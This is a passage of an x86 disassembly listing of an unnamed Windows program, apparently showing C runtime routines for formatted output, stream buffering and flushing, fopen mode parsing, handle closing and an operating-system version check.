mov eax, ecx
loc_4181CE: ; CODE XREF: sub_417D6C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4181DD
cmp byte ptr [eax], 0
jz short loc_4181DD
inc eax
jmp short loc_4181CE
; ---------------------------------------------------------------------------
loc_4181DD: ; CODE XREF: sub_417D6C+467j
; sub_417D6C+46Cj
sub eax, ecx
jmp loc_418373
; ---------------------------------------------------------------------------
loc_4181E4: ; CODE XREF: sub_417D6C+425j
mov [ebp+var_10], 8
loc_4181EB: ; CODE XREF: sub_417D6C+201j
mov [ebp+var_2C], 7
loc_4181F2: ; CODE XREF: sub_417D6C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41825C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41825C
; ---------------------------------------------------------------------------
loc_418214: ; CODE XREF: sub_417D6C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41825C
or byte ptr [ebp+var_4+1], 2
jmp short loc_41825C
; ---------------------------------------------------------------------------
loc_418227: ; CODE XREF: sub_417D6C+417j
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_418240
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_418245
; ---------------------------------------------------------------------------
loc_418240: ; CODE XREF: sub_417D6C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_418245: ; CODE XREF: sub_417D6C+4D2j
mov [ebp+var_28], 1
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_418251: ; CODE XREF: sub_417D6C+2F7j
; sub_417D6C+40Ej
or [ebp+var_4], 40h
loc_418255: ; CODE XREF: sub_417D6C+432j
mov [ebp+var_C], 0Ah
loc_41825C: ; CODE XREF: sub_417D6C+491j
; sub_417D6C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41826E
lea eax, [ebp+arg_8]
push eax
call sub_418558
pop ecx
jmp short loc_4182AF
; ---------------------------------------------------------------------------
loc_41826E: ; CODE XREF: sub_417D6C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_418295
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41828A
call sub_41854B
pop ecx
movsx eax, ax
loc_418287: ; CODE XREF: sub_417D6C+527j
; sub_417D6C+539j
cdq
jmp short loc_4182AF
; ---------------------------------------------------------------------------
loc_41828A: ; CODE XREF: sub_417D6C+510j
call sub_41854B
pop ecx
movzx eax, ax
jmp short loc_418287
; ---------------------------------------------------------------------------
loc_418295: ; CODE XREF: sub_417D6C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_4182A7
call sub_41854B
pop ecx
jmp short loc_418287
; ---------------------------------------------------------------------------
loc_4182A7: ; CODE XREF: sub_417D6C+531j
call sub_41854B
pop ecx
xor edx, edx
loc_4182AF: ; CODE XREF: sub_417D6C+500j
; sub_417D6C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4182D0
test edx, edx
jg short loc_4182D0
jl short loc_4182BF
test eax, eax
jnb short loc_4182D0
loc_4182BF: ; CODE XREF: sub_417D6C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4182D4
; ---------------------------------------------------------------------------
loc_4182D0: ; CODE XREF: sub_417D6C+547j
; sub_417D6C+54Bj ...
mov esi, eax
mov edi, edx
loc_4182D4: ; CODE XREF: sub_417D6C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4182DD
and edi, 0
loc_4182DD: ; CODE XREF: sub_417D6C+56Cj
cmp [ebp+var_10], 0
jge short loc_4182EC
mov [ebp+var_10], 1
jmp short loc_4182F0
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_417D6C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4182F0: ; CODE XREF: sub_417D6C+57Ej
mov eax, esi
or eax, edi
jnz short loc_4182FA
and [ebp+var_1C], 0
loc_4182FA: ; CODE XREF: sub_417D6C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_418300: ; CODE XREF: sub_417D6C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_418310
mov eax, esi
or eax, edi
jz short loc_41834B
loc_418310: ; CODE XREF: sub_417D6C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_417100
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_417180
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_418341
add ebx, [ebp+var_2C]
loc_418341: ; CODE XREF: sub_417D6C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_418300
; ---------------------------------------------------------------------------
loc_41834B: ; CODE XREF: sub_417D6C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_418376
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_418369
test eax, eax
jnz short loc_418376
loc_418369: ; CODE XREF: sub_417D6C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_418373: ; CODE XREF: sub_417D6C+35Fj
; sub_417D6C+406j ...
mov [ebp+var_C], eax
loc_418376: ; CODE XREF: sub_417D6C+21Bj
; sub_417D6C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_418474 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_4183AE
test bh, 1
jz short loc_418393
mov [ebp+var_16], 2Dh
jmp short loc_4183A7
; ---------------------------------------------------------------------------
loc_418393: ; CODE XREF: sub_417D6C+61Fj
test bl, 1
jz short loc_41839E
mov [ebp+var_16], 2Bh
jmp short loc_4183A7
; ---------------------------------------------------------------------------
loc_41839E: ; CODE XREF: sub_417D6C+62Aj
test bl, 2
jz short loc_4183AE
mov [ebp+var_16], 20h
loc_4183A7: ; CODE XREF: sub_417D6C+625j
; sub_417D6C+630j
mov [ebp+var_1C], 1
loc_4183AE: ; CODE XREF: sub_417D6C+61Aj
; sub_417D6C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4183CE
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184E2
add esp, 10h
loc_4183CE: ; CODE XREF: sub_417D6C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_418513
add esp, 10h
test bl, 8
jz short loc_418400
test bl, 4
jnz short loc_418400
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4184E2
add esp, 10h
loc_418400: ; CODE XREF: sub_417D6C+67Bj
; sub_417D6C+680j
cmp [ebp+var_24], 0
jz short loc_418447
cmp [ebp+var_C], 0
jle short loc_418447
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_418415: ; CODE XREF: sub_417D6C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41DA2B
pop ecx
test eax, eax
pop ecx
jle short loc_41845C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_418513
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_418415
jmp short loc_41845C
; ---------------------------------------------------------------------------
loc_418447: ; CODE XREF: sub_417D6C+698j
; sub_417D6C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_418513
add esp, 10h
loc_41845C: ; CODE XREF: sub_417D6C+6BCj
; sub_417D6C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_418474 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184E2
add esp, 10h
loc_418474: ; CODE XREF: sub_417D6C+68j
; sub_417D6C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_417D98
loc_418485: ; CODE XREF: sub_417D6C+1Fj
; sub_417D6C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417D6C endp
; ---------------------------------------------------------------------------
off_41848D dd offset loc_417F0B ; DATA XREF: sub_417D6C+6Er
dd offset loc_417DE1 ; jump table for switch statement
dd offset loc_417DFC
dd offset loc_417E48
dd offset loc_417E7F
dd offset loc_417E87
dd offset loc_417EBC
dd offset loc_417F4F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184AD proc near ; CODE XREF: sub_417D6C+1BDp
; sub_417D6C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_4184C6
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4184D1
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_4184AD+9j
push ecx
push [ebp+arg_0]
call sub_417C57
pop ecx
pop ecx
loc_4184D1: ; CODE XREF: sub_4184AD+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4184DE
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4184DE: ; CODE XREF: sub_4184AD+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_4184AD endp
; =============== S U B R O U T I N E =======================================
sub_4184E2 proc near ; CODE XREF: sub_417D6C+65Ap
; sub_417D6C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_418510
mov esi, [esp+8+arg_C]
loc_4184F3: ; CODE XREF: sub_4184E2+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_4184AD
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_418510
mov eax, edi
dec edi
test eax, eax
jg short loc_4184F3
loc_418510: ; CODE XREF: sub_4184E2+Bj
; sub_4184E2+25j
pop edi
pop esi
retn
sub_4184E2 endp
; =============== S U B R O U T I N E =======================================
sub_418513 proc near ; CODE XREF: sub_417D6C+670p
; sub_417D6C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_418547
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_418529: ; CODE XREF: sub_418513+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_4184AD
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_418547
mov eax, ebx
dec ebx
test eax, eax
jg short loc_418529
loc_418547: ; CODE XREF: sub_418513+Cj
; sub_418513+2Bj
pop edi
pop esi
pop ebx
retn
sub_418513 endp
; =============== S U B R O U T I N E =======================================
sub_41854B proc near ; CODE XREF: sub_417D6C+E5p
; sub_417D6C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41854B endp
; =============== S U B R O U T I N E =======================================
sub_418558 proc near ; CODE XREF: sub_417D6C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_418558 endp
; =============== S U B R O U T I N E =======================================
sub_418568 proc near ; CODE XREF: sub_417D6C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_418568 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418576 proc near ; CODE XREF: sub_4157F4+17p
; sub_4157F4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_418594
mov ecx, off_4383F0
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4185E6
; ---------------------------------------------------------------------------
loc_418594: ; CODE XREF: sub_418576+10j
mov ecx, eax
push esi
mov esi, off_4383F0
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_4185B9
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_4185C2
; ---------------------------------------------------------------------------
loc_4185B9: ; CODE XREF: sub_418576+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_4185C2: ; CODE XREF: sub_418576+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41DA93
add esp, 1Ch
test eax, eax
jnz short loc_4185E2
leave
retn
; ---------------------------------------------------------------------------
loc_4185E2: ; CODE XREF: sub_418576+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4185E6: ; CODE XREF: sub_418576+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_418576 endp
; =============== S U B R O U T I N E =======================================
sub_4185EB proc near ; CODE XREF: sub_415960+2Ap
; sub_41DDF6+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_46CF20
jnb loc_418685
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46CE20h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_418685
push edi
call sub_41DD62
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418664
cmp edi, 1
jz short loc_418632
cmp edi, 2
jnz short loc_418648
loc_418632: ; CODE XREF: sub_4185EB+40j
push 2
call sub_41DD62
push 1
mov ebp, eax
call sub_41DD62
pop ecx
cmp eax, ebp
pop ecx
jz short loc_418664
loc_418648: ; CODE XREF: sub_4185EB+45j
push edi
call sub_41DD62
pop ecx
push eax
call dword_42106C ; CloseHandle
test eax, eax
jnz short loc_418664
call dword_421088 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_418666
; ---------------------------------------------------------------------------
loc_418664: ; CODE XREF: sub_4185EB+3Bj
; sub_4185EB+5Bj ...
xor ebp, ebp
loc_418666: ; CODE XREF: sub_4185EB+77j
push edi
call sub_41DCE8
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_418681
push ebp
call sub_41CE74
pop ecx
jmp short loc_418696
; ---------------------------------------------------------------------------
loc_418681: ; CODE XREF: sub_4185EB+8Bj
xor eax, eax
jmp short loc_418699
; ---------------------------------------------------------------------------
loc_418685: ; CODE XREF: sub_4185EB+Ej
; sub_4185EB+2Fj
and dword_46BB08, 0
mov dword_46BB04, 9
loc_418696: ; CODE XREF: sub_4185EB+94j
or eax, 0FFFFFFFFh
loc_418699: ; CODE XREF: sub_4185EB+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4185EB endp
; =============== S U B R O U T I N E =======================================
sub_41869E proc near ; CODE XREF: sub_415960+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_4186C7
test al, 8
jz short loc_4186C7
push dword ptr [esi+8]
call sub_415C9B
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_4186C7: ; CODE XREF: sub_41869E+Aj
; sub_41869E+Ej
pop esi
retn
sub_41869E endp
; =============== S U B R O U T I N E =======================================
sub_4186C9 proc near ; CODE XREF: sub_418769+2Dp
; sub_418769+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_4186DB
push esi
call sub_418769
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186DB: ; CODE XREF: sub_4186C9+7j
push esi
call sub_418704
test eax, eax
pop ecx
jz short loc_4186EB
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186EB: ; CODE XREF: sub_4186C9+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_418700
push dword ptr [esi+10h]
call sub_41DD9F
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_418700: ; CODE XREF: sub_4186C9+26j
xor eax, eax
pop esi
retn
sub_4186C9 endp
; =============== S U B R O U T I N E =======================================
sub_418704 proc near ; CODE XREF: sub_415960+1Ap
; sub_416CDE+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_418751
test ax, 108h
jz short loc_418751
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_418751
push edi
push eax
push dword ptr [esi+10h]
call sub_41CCC7
add esp, 0Ch
cmp eax, edi
jnz short loc_41874A
mov eax, [esi+0Ch]
test al, 80h
jz short loc_418751
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_418751
; ---------------------------------------------------------------------------
loc_41874A: ; CODE XREF: sub_418704+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_418751: ; CODE XREF: sub_418704+14j
; sub_418704+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_418704 endp
; =============== S U B R O U T I N E =======================================
sub_418760 proc near ; CODE XREF: sub_41DA17p
push 1
call sub_418769
pop ecx
retn
sub_418760 endp
; =============== S U B R O U T I N E =======================================
sub_418769 proc near ; CODE XREF: sub_4186C9+Ap
; sub_418760+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_46CE00, esi
jle short loc_4187C7
loc_41877A: ; CODE XREF: sub_418769+5Cj
mov eax, dword_46BDF8
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4187BE
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_4187BE
cmp [esp+0Ch+arg_0], 1
jnz short loc_4187A4
push eax
call sub_4186C9
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4187BE
inc ebx
jmp short loc_4187BE
; ---------------------------------------------------------------------------
loc_4187A4: ; CODE XREF: sub_418769+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_4187BE
test cl, 2
jz short loc_4187BE
push eax
call sub_4186C9
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4187BE
or edi, eax
loc_4187BE: ; CODE XREF: sub_418769+1Bj
; sub_418769+23j ...
inc esi
cmp esi, dword_46CE00
jl short loc_41877A
loc_4187C7: ; CODE XREF: sub_418769+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_4187D2
mov eax, edi
loc_4187D2: ; CODE XREF: sub_418769+65j
pop edi
pop esi
pop ebx
retn
sub_418769 endp
; =============== S U B R O U T I N E =======================================
sub_4187D6 proc near ; CODE XREF: sub_4159B6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41D94C
test eax, eax
pop ecx
jz short loc_41885F
cmp esi, offset dword_43AB28
jnz short loc_4187F4
xor eax, eax
jmp short loc_4187FF
; ---------------------------------------------------------------------------
loc_4187F4: ; CODE XREF: sub_4187D6+18j
cmp esi, offset dword_43AB48
jnz short loc_41885F
push 1
pop eax
loc_4187FF: ; CODE XREF: sub_4187D6+1Cj
inc dword_46BCC8
test word ptr [esi+0Ch], 10Ch
jnz short loc_41885F
cmp dword_46BB5C[eax*4], 0
push ebx
push edi
lea edi, ds:46BB5Ch[eax*4]
mov ebx, 1000h
jnz short loc_418845
push ebx
call sub_415BE9
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_418845
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_418852
; ---------------------------------------------------------------------------
loc_418845: ; CODE XREF: sub_4187D6+4Dj
; sub_4187D6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_418852: ; CODE XREF: sub_4187D6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41885F: ; CODE XREF: sub_4187D6+10j
; sub_4187D6+24j ...
xor eax, eax
pop esi
retn
sub_4187D6 endp
; =============== S U B R O U T I N E =======================================
sub_418863 proc near ; CODE XREF: sub_4159B6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41888D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41889E
push esi
call sub_418704
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41888D: ; CODE XREF: sub_418863+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41889E
push eax
call sub_418704
pop ecx
loc_41889E: ; CODE XREF: sub_418863+10j
; sub_418863+32j
pop esi
retn
sub_418863 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A0 proc near ; CODE XREF: sub_4159E8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_46BCD0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_4188D9
cmp al, 72h
jz short loc_4188D2
cmp al, 77h
jnz loc_4189ED
mov ecx, 301h
jmp short loc_4188DE
; ---------------------------------------------------------------------------
loc_4188D2: ; CODE XREF: sub_4188A0+21j
xor ecx, ecx
or esi, 1
jmp short loc_4188E1
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_4188A0+1Dj
mov ecx, 109h
loc_4188DE: ; CODE XREF: sub_4188A0+30j
or esi, 2
loc_4188E1: ; CODE XREF: sub_4188A0+37j
push 1
pop edx
loc_4188E4: ; CODE XREF: sub_4188A0+8Bj
; sub_4188A0+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_4189D3
cmp edx, ebx
jz loc_4189D3
movsx eax, al
cmp eax, 54h
jg short loc_418972
jz short loc_418962
sub eax, 2Bh
jz short loc_41894C
sub eax, 19h
jz short loc_418942
sub eax, 0Eh
jz short loc_41892D
dec eax
jnz loc_4189C4
cmp [ebp+var_4], ebx
jnz loc_4189C4
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_41892D: ; CODE XREF: sub_4188A0+6Fj
cmp [ebp+var_4], ebx
jnz loc_4189C4
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_418942: ; CODE XREF: sub_4188A0+6Aj
test cl, 40h
jnz short loc_4189C4
or ecx, 40h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_41894C: ; CODE XREF: sub_4188A0+65j
test cl, 2
jnz short loc_4189C4
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_418962: ; CODE XREF: sub_4188A0+60j
mov eax, 1000h
test ecx, eax
jnz short loc_4189C4
or ecx, eax
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_418972: ; CODE XREF: sub_4188A0+5Ej
sub eax, 62h
jz short loc_4189BF
dec eax
jz short loc_4189A8
sub eax, 0Bh
jz short loc_418991
sub eax, 6
jnz short loc_4189C4
test ch, 0C0h
jnz short loc_4189C4
or ch, 40h
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_418991: ; CODE XREF: sub_4188A0+DDj
cmp [ebp+var_8], ebx
jnz short loc_4189C4
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189A8: ; CODE XREF: sub_4188A0+D8j
cmp [ebp+var_8], ebx
jnz short loc_4189C4
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189BF: ; CODE XREF: sub_4188A0+D5j
test ch, 0C0h
jz short loc_4189CB
loc_4189C4: ; CODE XREF: sub_4188A0+72j
; sub_4188A0+7Bj ...
xor edx, edx
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189CB: ; CODE XREF: sub_4188A0+122j
or ch, 80h
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189D3: ; CODE XREF: sub_4188A0+4Aj
; sub_4188A0+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41DDF6
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4189F1
loc_4189ED: ; CODE XREF: sub_4188A0+25j
xor eax, eax
jmp short loc_418A0B
; ---------------------------------------------------------------------------
loc_4189F1: ; CODE XREF: sub_4188A0+14Bj
mov eax, [ebp+arg_C]
inc dword_46BCC8
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_418A0B: ; CODE XREF: sub_4188A0+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_4188A0 endp
; =============== S U B R O U T I N E =======================================
sub_418A10 proc near ; CODE XREF: sub_4159E8p
mov edx, dword_46CE00
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_418A81
mov ebx, dword_46BDF8
mov edi, ebx
loc_418A2C: ; CODE XREF: sub_418A10+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_418A47
test byte ptr [ecx+0Ch], 83h
jz short loc_418A42
inc eax
add edi, 4
cmp eax, edx
jl short loc_418A2C
jmp short loc_418A81
; ---------------------------------------------------------------------------
loc_418A42: ; CODE XREF: sub_418A10+26j
mov esi, [ebx+eax*4]
jmp short loc_418A6B
; ---------------------------------------------------------------------------
loc_418A47: ; CODE XREF: sub_418A10+20j
mov edi, eax
push 20h
shl edi, 2
call sub_415BE9
pop ecx
mov ecx, dword_46BDF8
mov [edi+ecx], eax
mov eax, dword_46BDF8
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_418A81
mov esi, edi
loc_418A6B: ; CODE XREF: sub_418A10+35j
cmp esi, ebp
jz short loc_418A81
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_418A81: ; CODE XREF: sub_418A10+12j
; sub_418A10+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_418A10 endp
; =============== S U B R O U T I N E =======================================
sub_418A88 proc near ; CODE XREF: sub_415BFB+1Fp
; sub_41737F+126p ...
arg_0 = dword ptr 4
mov eax, dword_46BB68
test eax, eax
jz short loc_418AA0
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_418AA0
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418AA0: ; CODE XREF: sub_418A88+7j
; sub_418A88+12j
xor eax, eax
retn
sub_418A88 endp
; =============== S U B R O U T I N E =======================================
sub_418AA3 proc near ; CODE XREF: sub_418AD0+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_4210C8 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_418ACE
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_418ACE
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_418ACE: ; CODE XREF: sub_418AA3+15j
; sub_418AA3+1Cj
pop esi
retn
sub_418AA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AD0 proc near ; CODE XREF: sub_418C18+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_415B90
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_42110C ; GetVersionExA
test eax, eax
